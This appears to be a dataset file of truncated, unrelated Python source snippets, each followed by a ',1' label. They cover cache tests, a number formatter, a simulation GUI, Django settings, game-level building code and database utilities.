self.lru2['key_1'] self.assertFalse('key_1' in self.lru2) def test_pop_error(self): self.assertRaises(KeyError, self.lru2.__getitem__, 'key_2') del self.lru2['key_1'] self.assertRaises(KeyError, self.lru2.__getitem__, 'key_2') def test_get_middle_item(self): self.lru['key_2'] self.lru['key_4'] = 'item_4' self.lru['key_5'] = 'item_5' self.assertEqual(set(self.lru.keys()), set(['key_2', 'key_4', 'key_5'])) def test_set_again(self): self.lru['key_1'] = 'item_4' self.assertEqual(set(self.lru.items()), set([('key_1', 'item_4'), ('key_3', 'item_3'), ('key_2', 'item_2')])) if __name__ == ""__main__"": unittest.main() ",1 "ics.message as message APP_ID = 'SbrApiServices' PROCESSING_ID = 'RbAppConversationApi' # 会話メッセージ # class ConversationMessage(message.CRFXMessage): def __init__(self, visitor, visitor_id, talkByMe, type): super(ConversationMessage, self).__init__() self.header['RoutingType'] = message.ROUTING_TYPE_CALL self.header['AppProcessingId'] = PROCESSING_ID self.header['MessageId'] = type self.body = { 'visitor': visitor, 'visitor_id': visitor_id, 'talkByMe': talkByMe } ",1 "cgi/public/reportlab/trunk/reportlab/lib/formatters.py __all__=('Formatter','DecimalFormatter') __version__=''' $Id: formatters.py 3959 2012-09-27 14:39:39Z robin $ ''' __doc__="""""" These help format numbers and dates in a user friendly way. Used by the graphics framework. """""" import string, sys, os, re class Formatter: ""Base formatter - simply applies python format strings"" def __init__(self, pattern): self.pattern = pattern def format(self, obj): return self.pattern % obj def __repr__(self): return ""%s('%s')"" % (self.__class__.__name__, self.pattern) def __call__(self, x): return self.format(x) _ld_re=re.compile(r'^\d*\.') _tz_re=re.compile('0+$') class DecimalFormatter(Formatter): """"""lets you specify how to build a decimal. A future NumberFormatter class will take Microsoft-style patterns instead - ""$#,##0.00"" is WAY easier than this."""""" def __init__(self, places=2, decimalSep='.', thousandSep=None, prefix=None, suffix=None): if places=='auto': self.calcPlaces = self._calcPlaces else: self.places = places self.dot = decimalSep self.comma = thousandSep self.prefix = prefix self.suffix = suffix def _calcPlaces(self,V): '''called with the full set of values to be formatted so we can calculate places''' self.places = max([len(_tz_re.sub('',_ld_re.sub('',str(v)))) for v in V]) def format(self, num): # positivize the numbers sign=num<0 if sign: num = -num places, sep = self.places, self.dot strip = places<=0 if places and strip: places = -places strInt = ('%.' + str(places) + 'f') % num if places: strInt, strFrac = strInt.split('.') strFrac = sep + strFrac if strip: while strFrac and strFrac[-1] in ['0',sep]: strFrac = strFrac[:-1] else: strFrac = '' if self.comma is not None: strNew = '' while strInt: left, right = strInt[0:-3], strInt[-3:] if left == '': #strNew = self.comma + right + strNew strNew = right + strNew else: strNew = self.comma + right + strNew strInt = left strInt = strNew strBody = strInt + strFrac if sign: strBody = '-' + strBody if self.prefix: strBody = self.prefix + strBody if self.suffix: strBody = strBody + self.suffix return strBody def __repr__(self): return ""%s(places=%d, decimalSep=%s, thousandSep=%s, prefix=%s, suffix=%s)"" % ( self.__class__.__name__, self.places, repr(self.dot), repr(self.comma), repr(self.prefix), repr(self.suffix) ) if __name__=='__main__': def t(n, s, places=2, decimalSep='.', thousandSep=None, prefix=None, suffix=None): f=DecimalFormatter(places,decimalSep,thousandSep,prefix,suffix) r = f(n) print(""places=%2d dot=%-4s comma=%-4s prefix=%-4s suffix=%-4s result=%10s %s"" %(f.places, f.dot, f.comma, f.prefix, f.suffix,r, r==s and 'OK' or 'BAD')) t(1000.9,'1,000.9',1,thousandSep=',') t(1000.95,'1,001.0',1,thousandSep=',') t(1000.95,'1,001',-1,thousandSep=',') t(1000.9,'1,001',0,thousandSep=',') t(1000.9,'1000.9',1) t(1000.95,'1001.0',1) t(1000.95,'1001',-1) t(1000.9,'1001',0) t(1000.1,'1000.1',1) t(1000.55,'1000.6',1) t(1000.449,'1000.4',-1) t(1000.45,'1000',0) ",1 "can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA from JoeAgent import job, event import db_interface import os, os.path import logging import log_parser LINEINCR = 30 log = logging.getLogger(""agent.LogReader"") class ReadLogCompleteEvent(event.Event): """"""Event to indicate the file is completely read. This event will be caught by the FindLogJob that is watching it. The file will continue to be checked for modifications"""""" pass class ReadLogContinueEvent(event.Event): """"""Event to indicate we should continue reading the file. Log file processing will be done in chunks so as not to block the agent for too long."""""" pass class ReadLogJob(job.Job): def __init__(self, agent_obj, logfile): job.Job.__init__(self, agent_obj) assert os.path.isfile(logfile), ""Not a file: %s"" % str(logfile) self._log_size = os.stat(logfile).st_size log.debug(""Log size is %d"" % self._log_size) self._logfile_path = logfile self._logfile_hndl = open(logfile, 'r') self._progress = 0 # Data read from file self._db = db_interface.getDB() def getFilePath(self): return self._logfile_path def getBytesRead(self): return self._progress def getBytesTotal(self): return self._log_size def run(self): evt = ReadLogContinueEvent(self) self.getAgent().addEvent(evt) def notify(self, evt): job.Job.notify(self, evt) if isinstance(evt, ReadLogContinueEvent) and evt.getSource() == self: log.debug(""Continuing read of file"") # Continue to read the log try: self._progress += log_parser.read_log( self._logfile_hndl, self._db, LINEINCR) log.debug(""Read %d %% of file (%d / %d)"" % (self.getProgress(), self._progress, self._log_size)) except log_parser.EndOfLogException, e: self._progress = self._log_size # Log file is complete, updated the db entry self._mark_complete() # Add an event to notify that the file is complete self._logfile_hndl.close() new_evt = ReadLogCompleteEvent(self) self.getAgent().addEvent(new_evt) except log_parser.InvalidLogException, e: log.warning(""Invalid log file: %s"" % str(e)) self._logfile_hndl.close() new_evt = ReadLogCompleteEvent(self) self.getAgent().addEvent(new_evt) else: # Add an event to continue reading new_evt = ReadLogContinueEvent(self) self.getAgent().addEvent(new_evt) def _update_db(self): """"""Update the entry in the database for this logfile"""""" log.debug(""Updating file %s"" % self._logfile_path) pass def _mark_invalid(self): """"""Update the database to indicate that this is not a valid log file"""""" log.debug(""Marking file %s invalid"" % self._logfile_path) pass def _mark_complete(self): log.debug(""Marking file %s complete"" % self._logfile_path) pass def getProgress(self): """"""Return a percentage complete value"""""" if self._log_size == 0: return 0 return int((float(self._progress) / self._log_size) * 100) ",1 "t SplashScreen, SPLASH_CENTRE_ON_SCREEN, SPLASH_TIMEOUT import os import sys import warnings from . import zpickle from .utils import * from .dialogs.waxy import * from .dialogs import * from .run_sim import * import threading import pylab gray=pylab.cm.gray from matplotlib.backends.backend_wxagg import FigureCanvasWx as FigureCanvas from matplotlib.backends.backend_wx import FigureManager from matplotlib.figure import Figure from matplotlib.axes import Subplot class SimThread(threading.Thread): def __init__(self,params,parent): self.params=params self.parent=parent threading.Thread.__init__(self); def run(self): run_sim(self.params,self.parent) def subplot(*args): import pylab if len(args)==1: return pylab.subplot(args[0]) elif len(args)==3: return pylab.subplot(args[0],args[1],args[2]) elif len(args)==4: r=args[2] c=args[3] return pylab.subplot(args[0],args[1],c+(r-1)*args[1]); else: raise ValueError(""invalid number of arguments"") class MainFrame(Frame): def __init__(self,parent=None,title='',direction='H', size=(750,750),lfname=None,params=None): self.fig=None # turn off security warning on tmpnam. why is it here? warnings.filterwarnings('ignore') fname=os.tempnam() warnings.resetwarnings() self.base_dir=os.path.dirname(__file__) if not self.base_dir: self.base_dir='.' self.tmpfile=fname+""_plasticity.dat"" self.modified=False self.running=False self.stopping=False self.quitting=False self.plot_first=False if not params: self.params=default_params() else: self.params=params for p in self.params['pattern_input']: if not os.path.exists(p['filename']): p['filename']=self.base_dir+""/""+p['filename'] if lfname: if not self.__load_sim__(lfname): self.plot_first=True Frame.__init__(self,parent,title,direction,size) def Body(self): self.CreateMenu() self.CenterOnScreen() self.ResetTitle() fname=self.base_dir+""/images/plasticity_small_icon.ico"" self.SetIcon(fname) self.fig = Figure(figsize=(7,5),dpi=100) self.canvas = FigureCanvas(self, -1, self.fig) self.figmgr = FigureManager(self.canvas, 1, self) self.axes = [self.fig.add_subplot(221), self.fig.add_subplot(222), self.fig.add_subplot(223), self.fig.add_subplot(224)] if self.plot_first: sim=zpickle.load(self.tmpfile) sim['params']['display']=True self.Plot(sim) def Stopping(self): return self.stopping def Yield(self): wx.Yield() def ResetTitle(self): (root,sfname)=os.path.split(self.params['save_sim_file']) if self.modified: s=' (*)' else: s='' title='Plasticity: %s%s' % (sfname,s) self.SetTitle(title) def Plot(self,sim): if not sim['params']['display']: return if sim['params']['display_module']: try: module=__import__(sim['params']['display_module'],fromlist=['UserPlot']) except ImportError: sim['params']['display']=False dlg = MessageDialog(self, ""Error"",""Error in Import: %s. Turning display off"" % sim['params']['display_module'], icon='error') dlg.ShowModal() dlg.Destroy() return try: module.UserPlot(self,sim) return except ValueError: sim['params']['display']=False dlg = MessageDialog(self, ""Error"",""Error in display. Turning display off"", icon='error') dlg.ShowModal() dlg.Destroy() return try: im=weights2image(sim['params'],sim['weights']) self.axes[0].hold(False) self.axes[0].set_axis_bgcolor('k') self.axes[0].pcolor(im,cmap=gray,edgecolors='k') self.axes[0].set_aspect('equal') num_moments=sim['moments_mat'].shape[0] self.axes[1].hold(False) num_neurons=sim['moments_mat'].shape[1] for k in range(num_neurons): for i in range(num_moments): self.axes[1].plot(sim['moments_mat'][i,k,:],'-o') self.axes[1].hold(True) self.axes[2].hold(False) response_mat=sim['response_mat'] response_var_list=sim['response_var_list'] styles=['b-o','g-o'] for i,r in enumerate(response_var_list[-1]): x=r[1] y=r[2] self.axes[2].plot(x,y,styles[i]) self.axes[2].hold(True) self.axes[3].hold(False) styles=['b-o','g-o'] for i,r in enumerate(response_mat): self.axes[3].plot(r,styles[i]) self.axes[3].hold(True) self.canvas.draw() self.canvas.gui_repaint() except ValueError: sim['params']['display']=False dlg = MessageDialog(self, ""Error"",""Error in display. Turning display off"", icon='error') dlg.ShowModal() dlg.Destroy() def Run_Pause(self,event): if not self.running: # pylab.close() self.params['tmpfile']=self.tmpfile if os.path.exists(self.tmpfile): self.params['continue']=1 self.modified=True self.ResetTitle() self.running=True ## d={} ## d['params']=self.params ## zpickle.save(d,'plasticity_tmpparams.dat') ## cmd='./run_sim.py --paramfile plasticity_tmpparams.dat --from_gui 1' ## os.system(cmd) self.stopping=False run_sim(self.params,self) self.params['load_sim_file']=self.tmpfile self.running=False if self.quitting: self.Quit() else: self.stopping=True def __load_sim__(self,lfname): sim=zpickle.load(lfname) params=sim['params'] params['save_sim_file']=self.params['save_sim_file'] params['load_sim_file']='' params['continue']=False try: params['initial_weights']=sim['weights'] params['initial_moments']=sim['moments'] except KeyError: self.params=params return 1 params['load_sim_file']=self.tmpfile params['continue']=True sim['params']=params self.params=params zpickle.save(sim,self.tmpfile) return 0 def Reset_Simulation(self,event=None): if not os.path.exists(self.tmpfile): return self.canvas.Show(False) if self.modified: (root,sfname)=os.path.split(self.params['save_sim_file']) dlg=MessageDialog(self, text=""Do you want to save the changes you made to %s?"" % sfname, title=""Reset"", ok=0, yes_no=1,cancel=1) result=dlg.ShowModal() dlg.Destroy() if result == 'cancel': self.canvas.Show(True) return elif result == 'yes': filename=self.Save_Simulation() if not filename: # cancelled the save self.canvas.Show(True) return self.params['continue']=False self.params['load_sim_file']='' self.params['initial_weights']=[] self.params['initial_moments']=[] for a in self.axes: a.cla() self.canvas.draw() self.canvas.Show(True) def Restart(self,event=None): if not os.path.exists(self.tmpfile): return self.canvas.Show(False) if self.modified: (root,sfname)=os.path.split(self.params['save_sim_file']) dlg=MessageDialog(self, text=""Do you want to save the changes you made to %s?"" % sfname, title=""Restart"", ok=0, yes_no=1,cancel=1) result=dlg.ShowModal() dlg.Destroy() if result == 'cancel': self.canvas.Show(True) return elif result == 'yes': filename=self.Save_Simulation() if not filename: # cancelled the save self.canvas.Show(True) return self.__load_sim__(self.tmpfile) self.params['continue']=False self.canvas.Show(True) def Load_Simulation(self,event=None): self.canvas.Show(False) if self.modified: (root,sfname)=os.path.split(self.params['save_sim_file']) dlg=MessageDialog(self, text=""Do you want to save the changes you made to %s?"" % sfname, title=""Load Simulation"", ok=0, yes_no=1,cancel=1) result=dlg.ShowModal() dlg.Destroy() if result == 'cancel': pass elif result == 'yes': self.Save_Simulation() lfname='' dlg = FileDialog(self, ""Load Simulation"",default_dir=os.getcwd()+""/sims"", wildcard='DAT Files|*.dat|All Files|*.*') result = dlg.ShowModal() if result == 'ok': lfname = dlg.GetPaths()[0] dlg.Destroy() if not lfname: self.canvas.Show(True) return self.__load_sim__(lfname) sim=zpickle.load(self.tmpfile) self.Plot(sim) self.canvas.Show(True) def Save_Simulation(self,event=None): if not self.modified: return sfname=self.params['save_sim_file'] def_sfname=default_params()['save_sim_file'] if sfname==def_sfname: filename=self.Save_Simulation_As() else: filename=sfname d=zpickle.load(self.tmpfile) d['params']=self.params zpickle.save(d,sfname) self.modified=False self.ResetTitle() return filename def Save_Simulation_As(self,event=None): self.canvas.Show(False) dlg = FileDialog(self, ""Save Simulation As..."",default_dir=os.getcwd()+""/sims/"", wildcard='DAT Files|*.dat|All Files|*.*',save=1) result = dlg.ShowModal() if result == 'ok': filename = dlg.GetPaths()[0] else: filename=None dlg.Destroy() if filename: d=zpickle.load(self.tmpfile) self.params['save_sim_file']=filename d['params']=self.params zpickle.save(d,filename) self.modified=False self.ResetTitle() self.canvas.Show(True) return filename def Set_Simulation_Parameters(self,event): self.canvas.Show(False) set_simulation_parameters(self.params,self) self.canvas.Show(True) def Set_Input_Parameters(self,event): self.canvas.Show(False) set_input_parameters(self.params,self) self.canvas.Show(True) def Set_Output_Parameters(self,event): self.canvas.Show(False) set_output_parameters(self.params,self) self.canvas.Show(True) def Set_Weight_Parameters(self,event): self.canvas.Show(False) set_weight_parameters(self.params,self) self.canvas.Show(True) def Save_Parameters_As(self,event): save_parameters_as(self.params,self) def Set_Parameter_Structure(self,event): set_parameter_structure(self.params,self) def Load_Parameters(self,event): p=load_parameters(None,self) if p: self.params=p def CreateMenu(self): menubar = MenuBar() menu = Menu(self) menu.Append(""L&oad State"", self.Load_Simulation, ""Load a Complete Simulation"",hotkey=""Ctrl+O"") menu.Append(""Load &Parameters"", self.Load_Parameters, ""Load Simulation Parameters"") menu.AppendSeparator() menu.Append(""Save Parameters As..."", self.Save_Parameters_As, ""Save Simulation Parameters"") menu.Append(""Save State As..."", self.Save_Simulation_As, ""Save a Complete Simulation"") menu.Append(""Save State"", self.Save_Simulation, ""Save a Complete Simulation"",hotkey=""Ctrl+S"") menu.AppendSeparator() menu.Append(""&Run/Pause"", self.Run_Pause, ""Run a Simulation"",hotkey=""Ctrl+P"") menu.Append(""Restart from Current State"", self.Restart) menu.Append(""Reset Simulation"", self.Reset_Simulation,hotkey=""Ctrl+R"") menu.AppendSeparator() menu.Append(""Export Figure..."", self.Export, ""Export the Screen"") menu.Append(""&Quit"", self.Quit, ""Quit"",hotkey=""Ctrl+Q"") menubar.Append(menu, ""&File"") menu = Menu(self) menu.Append(""&Simulation Parameters"", self.Set_Simulation_Parameters) menu.Append(""&Input Parameters"", self.Set_Input_Parameters) menu.Append(""&Output Neuron Parameters"", self.Set_Output_Parameters) menu.Append(""&Weight Parameters"", self.Set_Weight_Parameters) menu.AppendSeparator() menu.Append(""&Display"", self.Display) menu.Append(""Make &New Input Files"", self.Nop) menu.Append(""Parameter Structure"", self.Set_Parameter_Structure) menubar.Append(menu, ""&Edit"") menu=Menu(self) menu.Append(""&Help"", self.Nop) menu.Append(""&About"", self.About) menubar.Append(menu, ""&Help"") self.SetMenuBar(menubar) self.CreateStatusBar() def Display(self,event=None): self.canvas.Show(False) dlg = FileDialog(self, ""Choose Display Module"",default_dir=os.getcwd()+""/"", wildcard='Python Plot Files|plot*.py|All Files|*.*') result = dlg.ShowModal() dlg.Destroy() if result == 'ok': lfname = dlg.GetPaths()[0] modulename=os.path.splitext(os.path.split(lfname)[-1])[0] self.params['display_module']=modulename if os.path.exists(self.tmpfile): sim=zpickle.load(self.tmpfile) self.Plot(sim) self.canvas.Show(True) def About(self,event): win=AboutWindow() win.Show() def Nop(self,event): self.canvas.Show(False) dlg = MessageDialog(self, ""Error"",""Function Not Implemented"",icon='error') dlg.ShowModal() dlg.Destroy() self.canvas.Show(True) def Export(self,event=None): export_fig(self) def Quit(self,event=None): if self.running: self.quitting=True self.stopping=True return self.canvas.Show(False) if self.modified: (root,sfname)=os.path.split(self.params['save_sim_file']) dlg=MessageDialog(self, text=""Do you want to save the changes you made to %s?"" % sfname, title=""Quit"", ok=0, yes_no=1,cancel=1) result=dlg.ShowModal() dlg.Destroy() if result == 'cancel': self.canvas.Show(True) return elif result == 'yes': self.Save_Simulation() self.Close() if os.path.exists(self.tmpfile): os.remove(self.tmpfile) def run(lfname=None,params=None,use_splash=True): if use_splash: app1=Application(splash.SplashFrame) app1.Run() app = Application(MainFrame, title=""Plasticity"",lfname=lfname, params=params) app.Run() if __name__ == '__main__': from optparse import OptionParser parser = OptionParser() parser.add_option( ""--nosplash"", action=""store_false"", dest=""splash"", default=True, help=""don't show the splash screen"") (options, args) = parser.parse_args() if options.splash: app1=Application(splash.SplashFrame) app1.Run() if len(args)>=1: lfname=args[0] else: lfname=None run(lfname) ",1 " to send emails - Use MEMCACHIER on Heroku ''' from configurations import values # See: http://django-storages.readthedocs.org/en/latest/backends/amazon-S3.html#settings try: from S3 import CallingFormat AWS_CALLING_FORMAT = CallingFormat.SUBDOMAIN except ImportError: # TODO: Fix this where even if in Dev this class is called. pass from .common import Common class Production(Common): # This ensures that Django will be able to detect a secure connection # properly on Heroku. SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') # INSTALLED_APPS INSTALLED_APPS = Common.INSTALLED_APPS # END INSTALLED_APPS # SECRET KEY SECRET_KEY = values.SecretValue() # END SECRET KEY # django-secure INSTALLED_APPS += (""djangosecure"", ) # set this to 60 seconds and then to 518400 when you can prove it works SECURE_HSTS_SECONDS = 60 SECURE_HSTS_INCLUDE_SUBDOMAINS = values.BooleanValue(True) SECURE_FRAME_DENY = values.BooleanValue(True) SECURE_CONTENT_TYPE_NOSNIFF = values.BooleanValue(True) SECURE_BROWSER_XSS_FILTER = values.BooleanValue(True) SESSION_COOKIE_SECURE = values.BooleanValue(False) SESSION_COOKIE_HTTPONLY = values.BooleanValue(True) SECURE_SSL_REDIRECT = values.BooleanValue(True) # end django-secure # SITE CONFIGURATION # Hosts/domain names that are valid for this site # See https://docs.djangoproject.com/en/1.6/ref/settings/#allowed-hosts ALLOWED_HOSTS = [""*""] # END SITE CONFIGURATION INSTALLED_APPS += (""gunicorn"", ) # STORAGE CONFIGURATION # See: http://django-storages.readthedocs.org/en/latest/index.html INSTALLED_APPS += ( 'storages', ) # See: http://django-storages.readthedocs.org/en/latest/backends/amazon-S3.html#settings STATICFILES_STORAGE = DEFAULT_FILE_STORAGE = 'storages.backends.s3boto.S3BotoStorage' # See: http://django-storages.readthedocs.org/en/latest/backends/amazon-S3.html#settings AWS_ACCESS_KEY_ID = values.SecretValue() AWS_SECRET_ACCESS_KEY = values.SecretValue() AWS_STORAGE_BUCKET_NAME = values.SecretValue() AWS_AUTO_CREATE_BUCKET = True AWS_QUERYSTRING_AUTH = False # see: https://github.com/antonagestam/collectfast AWS_PRELOAD_METADATA = True INSTALLED_APPS += ('collectfast', ) # AWS cache settings, don't change unless you know what you're doing: AWS_EXPIRY = 60 * 60 * 24 * 7 AWS_HEADERS = { 'Cache-Control': 'max-age=%d, s-maxage=%d, must-revalidate' % ( AWS_EXPIRY, AWS_EXPIRY) } # See: https://docs.djangoproject.com/en/dev/ref/settings/#static-url STATIC_URL = 'https://s3.amazonaws.com/%s/' % AWS_STORAGE_BUCKET_NAME # END STORAGE CONFIGURATION # EMAIL DEFAULT_FROM_EMAIL = values.Value('tco2 ') EMAIL_HOST = values.Value('smtp.sendgrid.com') EMAIL_HOST_PASSWORD = values.SecretValue(environ_prefix="""", environ_name=""SENDGRID_PASSWORD"") EMAIL_HOST_USER = values.SecretValue(environ_prefix="""", environ_name=""SENDGRID_USERNAME"") EMAIL_PORT = values.IntegerValue(587, environ_prefix="""", environ_name=""EMAIL_PORT"") EMAIL_SUBJECT_PREFIX = values.Value('[tco2] ', environ_name=""EMAIL_SUBJECT_PREFIX"") EMAIL_USE_TLS = True SERVER_EMAIL = EMAIL_HOST_USER # END EMAIL # TEMPLATE CONFIGURATION # See: https://docs.djangoproject.com/en/dev/ref/settings/#template-dirs TEMPLATE_LOADERS = ( ('django.template.loaders.cached.Loader', ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', )), ) # END TEMPLATE CONFIGURATION # CACHING # Only do this here because thanks to django-pylibmc-sasl and pylibmc # memcacheify is painful to install on windows. try: # See: https://github.com/rdegges/django-heroku-memcacheify from memcacheify import memcacheify CACHES = memcacheify() except ImportError: CACHES = values.CacheURLValue(default=""memcached://127.0.0.1:11211"") # END CACHING # Your production stuff: Below this line define 3rd party library settings ",1 "E = 9 currentWallHeight = 0 def __init__(self, name): DNANode.DNANode.__init__(self, name) self.width = 0 self.hasDoor = False def setWidth(self, width): self.width = width def getWidth(self): return self.width def setCurrentWallHeight(self, currentWallHeight): DNAFlatBuilding.currentWallHeight = currentWallHeight def getCurrentWallHeight(self): return DNAFlatBuilding.currentWallHeight def setHasDoor(self, hasDoor): self.hasDoor = hasDoor def getHasDoor(self): return self.hasDoor def makeFromDGI(self, dgi): DNANode.DNANode.makeFromDGI(self, dgi) self.width = dgi.getInt16() / 100.0 self.hasDoor = dgi.getBool() def setupSuitFlatBuilding(self, nodePath, dnaStorage): name = self.getName() if name[:2] != 'tb': return name = 'sb' + name[2:] node = nodePath.attachNewNode(name) node.setPosHpr(self.getPos(), self.getHpr()) numCodes = dnaStorage.getNumCatalogCodes('suit_wall') if numCodes < 1: return code = dnaStorage.getCatalogCode( 'suit_wall', random.randint(0, numCodes - 1)) wallNode = dnaStorage.findNode(code) if not wallNode: return wallNode = wallNode.copyTo(node, 0) wallScale = wallNode.getScale() wallScale.setX(self.width) wallScale.setZ(DNAFlatBuilding.currentWallHeight) wallNode.setScale(wallScale) if self.getHasDoor(): wallNodePath = node.find('wall_*') doorNode = dnaStorage.findNode('suit_door') doorNode = doorNode.copyTo(wallNodePath, 0) doorNode.setScale(NodePath(), (1, 1, 1)) doorNode.setPosHpr(0.5, 0, 0, 0, 0, 0) wallNodePath.setEffect(DecalEffect.make()) node.flattenMedium() node.stash() def setupCogdoFlatBuilding(self, nodePath, dnaStorage): name = self.getName() if name[:2] != 'tb': return name = 'cb' + name[2:] node = nodePath.attachNewNode(name) node.setPosHpr(self.getPos(), self.getHpr()) numCodes = dnaStorage.getNumCatalogCodes('cogdo_wall') if numCodes < 1: return code = dnaStorage.getCatalogCode( 'cogdo_wall', random.randint(0, numCodes - 1)) wallNode = dnaStorage.findNode(code) if not wallNode: return wallNode = wallNode.copyTo(node, 0) wallScale = wallNode.getScale() wallScale.setX(self.width) wallScale.setZ(DNAFlatBuilding.currentWallHeight) wallNode.setScale(wallScale) if self.getHasDoor(): wallNodePath = node.find('wall_*') doorNode = dnaStorage.findNode('suit_door') doorNode = doorNode.copyTo(wallNodePath, 0) doorNode.setScale(NodePath(), (1, 1, 1)) doorNode.setPosHpr(0.5, 0, 0, 0, 0, 0) wallNodePath.setEffect(DecalEffect.make()) node.flattenMedium() node.stash() def traverse(self, nodePath, dnaStorage): DNAFlatBuilding.currentWallHeight = 0 node = nodePath.attachNewNode(self.getName()) internalNode = node.attachNewNode(self.getName() + '-internal') scale = self.getScale() scale.setX(self.width) internalNode.setScale(scale) node.setPosHpr(self.getPos(), self.getHpr()) for child in self.children: if isinstance(child, DNAWall.DNAWall): child.traverse(internalNode, dnaStorage) else: child.traverse(node, dnaStorage) if DNAFlatBuilding.currentWallHeight == 0: print 'empty flat building with no walls' else: cameraBarrier = dnaStorage.findNode('wall_camera_barrier') if cameraBarrier is None: raise DNAError.DNAError('DNAFlatBuilding requires that there is a wall_camera_barrier in storage') cameraBarrier = cameraBarrier.copyTo(internalNode, 0) cameraBarrier.setScale((1, 1, DNAFlatBuilding.currentWallHeight)) internalNode.flattenStrong() collisionNode = node.find('**/door_*/+CollisionNode') if not collisionNode.isEmpty(): collisionNode.setName('KnockKnockDoorSphere_' + dnaStorage.getBlock(self.getName())) cameraBarrier.wrtReparentTo(nodePath, 0) wallCollection = internalNode.findAllMatches('wall*') wallHolder = node.attachNewNode('wall_holder') wallDecal = node.attachNewNode('wall_decal') windowCollection = internalNode.findAllMatches('**/window*') doorCollection = internalNode.findAllMatches('**/door*') corniceCollection = internalNode.findAllMatches('**/cornice*_d') wallCollection.reparentTo(wallHolder) windowCollection.reparentTo(wallDecal) doorCollection.reparentTo(wallDecal) corniceCollection.reparentTo(wallDecal) for i in xrange(wallHolder.getNumChildren()): iNode = wallHolder.getChild(i) iNode.clearTag('DNACode') iNode.clearTag('DNARoot') wallHolder.flattenStrong() wallDecal.flattenStrong() holderChild0 = wallHolder.getChild(0) wallDecal.getChildren().reparentTo(holderChild0) holderChild0.reparentTo(internalNode) holderChild0.setEffect(DecalEffect.make()) wallHolder.removeNode() wallDecal.removeNode() self.setupSuitFlatBuilding(nodePath, dnaStorage) self.setupCogdoFlatBuilding(nodePath, dnaStorage) node.flattenStrong() ",1 "ibute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . # # Author: Aleksandra Tarkowska , 2008. # # Version: 1.0 # from django.conf.urls import * from omeroweb.webstart import views urlpatterns = patterns('django.views.generic.simple', url( r'^$', views.index, name=""webstart_index"" ), url( r'^jars/insight\.jnlp$', views.insight, name='webstart_insight'), ) ",1 " :rtype: str """""" pre = defaultdict(list) for i, c in enumerate(T, -1): pre[c].append(i) for val in pre.values(): val.reverse() start_index = [None] * (len(T) + 1) lo, hi = float('-inf'), 0 for i, c in enumerate(S): start_index[-1] = i for p in pre[c]: if start_index[p] is not None: start_index[p + 1] = start_index[p] if (c == T[-1] and start_index[-2] is not None and i - start_index[-2] < hi - lo): lo, hi = start_index[-2], i if lo < 0: return '' else: return S[lo:hi+1] # print(Solution().minWindow(""abcdebdde"", ""bde"")) # print(Solution().minWindow(""nkzcnhczmccqouqadqtmjjzltgdzthm"", ""bt"")) print(Solution().minWindow(""cnhczmccqouqadqtmjjzl"", ""mm"")) ",1 "m(RSTProgram): def get_fragments(self): if self._fragment_cache is not None: return self._fragment_cache with self.context.open_source_file() as f: self.get_header(f) rv = self.context.render_rst(f.read().decode('utf-8')) rv['fragment'] = Markup(typogrify.typogrify(rv['fragment'])) self._fragment_cache = rv return rv def setup(builder): builder.programs['rst'] = TypogrifyRSTProgram",1 "path import join from time import strftime from qiita_db.util import get_mountpoint from qiita_db.sql_connection import SQLConnectionHandler from qiita_db.metadata_template import SampleTemplate, PrepTemplate conn_handler = SQLConnectionHandler() _id, fp_base = get_mountpoint('templates')[0] for study_id in conn_handler.execute_fetchall( ""SELECT study_id FROM qiita.study""): study_id = study_id[0] if SampleTemplate.exists(study_id): st = SampleTemplate(study_id) fp = join(fp_base, '%d_%s.txt' % (study_id, strftime(""%Y%m%d-%H%M%S""))) st.to_file(fp) st.add_filepath(fp) for prep_template_id in conn_handler.execute_fetchall( ""SELECT prep_template_id FROM qiita.prep_template""): prep_template_id = prep_template_id[0] pt = PrepTemplate(prep_template_id) study_id = pt.study_id fp = join(fp_base, '%d_prep_%d_%s.txt' % (pt.study_id, prep_template_id, strftime(""%Y%m%d-%H%M%S""))) pt.to_file(fp) pt.add_filepath(fp) ",1 "ango.db.backends.utils import CursorWrapper from django.db.transaction import Atomic, get_connection, on_commit from .utils import monkey_mix __all__ = ('queue_when_in_transaction', 'install_cacheops_transaction_support', 'transaction_states') class TransactionState(list): def begin(self): self.append({'cbs': [], 'dirty': False}) def commit(self): context = self.pop() if self: # savepoint self[-1]['cbs'].extend(context['cbs']) self[-1]['dirty'] = self[-1]['dirty'] or context['dirty'] else: # transaction for func, args, kwargs in context['cbs']: func(*args, **kwargs) def rollback(self): self.pop() def push(self, item): self[-1]['cbs'].append(item) def mark_dirty(self): self[-1]['dirty'] = True def is_dirty(self): return any(context['dirty'] for context in self) class TransactionStates(threading.local): def __init__(self): super(TransactionStates, self).__init__() self._states = defaultdict(TransactionState) def __getitem__(self, key): return self._states[key or DEFAULT_DB_ALIAS] def is_dirty(self, dbs): return any(self[db].is_dirty() for db in dbs) transaction_states = TransactionStates() @decorator def queue_when_in_transaction(call): if transaction_states[call.using]: transaction_states[call.using].push((call, (), {})) else: return call() class AtomicMixIn(object): def __enter__(self): entering = not transaction_states[self.using] transaction_states[self.using].begin() self._no_monkey.__enter__(self) if entering: on_commit(transaction_states[self.using].commit, self.using) def __exit__(self, exc_type, exc_value, traceback): connection = get_connection(self.using) try: self._no_monkey.__exit__(self, exc_type, exc_value, traceback) except DatabaseError: transaction_states[self.using].rollback() else: if not connection.closed_in_transaction and exc_type is None and \ not connection.needs_rollback: if transaction_states[self.using]: transaction_states[self.using].commit() else: transaction_states[self.using].rollback() class CursorWrapperMixin(object): def callproc(self, procname, params=None): result = self._no_monkey.callproc(self, procname, params) if transaction_states[self.db.alias]: transaction_states[self.db.alias].mark_dirty() return result def execute(self, sql, params=None): 